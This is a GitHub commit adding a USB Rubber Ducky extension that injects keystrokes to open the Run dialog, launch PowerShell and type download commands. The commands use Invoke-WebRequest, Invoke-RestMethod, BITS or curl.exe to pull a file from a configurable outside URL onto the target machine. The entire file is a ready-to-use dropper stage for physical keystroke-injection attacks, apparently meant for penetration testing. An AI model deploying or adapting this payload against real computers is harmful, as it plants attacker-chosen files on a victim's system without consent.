Create Powershell_Download

Extension for the USB Rubber Ducky to download files via powershell in different ways.
pull/314/head
0iphor13 2023-04-25 19:34:57 +02:00 committed by GitHub
parent d5e5eaebb1
commit 783f947f29
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 50 additions and 0 deletions

View File

@ -0,0 +1,50 @@
EXTENSION Powershell_Download
REM VERSION 1.0
REM Author: 0iphor13
REM Downloads the desired file via powershell
REM Use the method you want to use, via the specific function, define the URL and the output.
REM CONFIGURATION:
REM Delay before executing the download
DEFINE #INPUT_WAIT 2000
REM URL of the file which gets downloaded
DEFINE #URL https://hosted.file/default
REM Output name of your downloaded file
DEFINE #OUTPUT default
REM Use Invoke-WebRequest to download a file onto the system
FUNCTION Invoke_WebRequest()
DELAY #INPUT_WAIT
STRINGLN Invoke-WebRequest -Uri '#URL' -UseBasicParsing -OutFile #OUTPUT
END_FUNCTION
REM Use Invoke-RestMethod to download a file onto the system
FUNCTION Invoke_RestMethod()
DELAY #INPUT_WAIT
STRINGLN Invoke-RestMethod -Uri '#URL' -UseBasicParsing -OutFile #OUTPUT
END_FUNCTION
REM Use Start_BitsTransfer to download a file onto the system
FUNCTION Start_BitsTransfer()
DELAY #INPUT_WAIT
STRINGLN Start-BitsTransfer -Source '#URL' -Destination #OUTPUT
END_FUNCTION
REM Use Curl.exe to download a file onto the system
FUNCTION Curl_exe()
DELAY #INPUT_WAIT
STRINGLN curl.exe -L '#URL' -o #OUTPUT
END_FUNCTION
REM EXAMPLE USAGE AFTER EXTENSION
REM Use the function fitting your usecase, Start_BitsTransfer() is used as example here
REM DELAY 2000
REM GUI r
REM DELAY 2000
REM STRINGLN powershell
REM DELAY 500
REM Start_BitsTransfer()
END_EXTENSION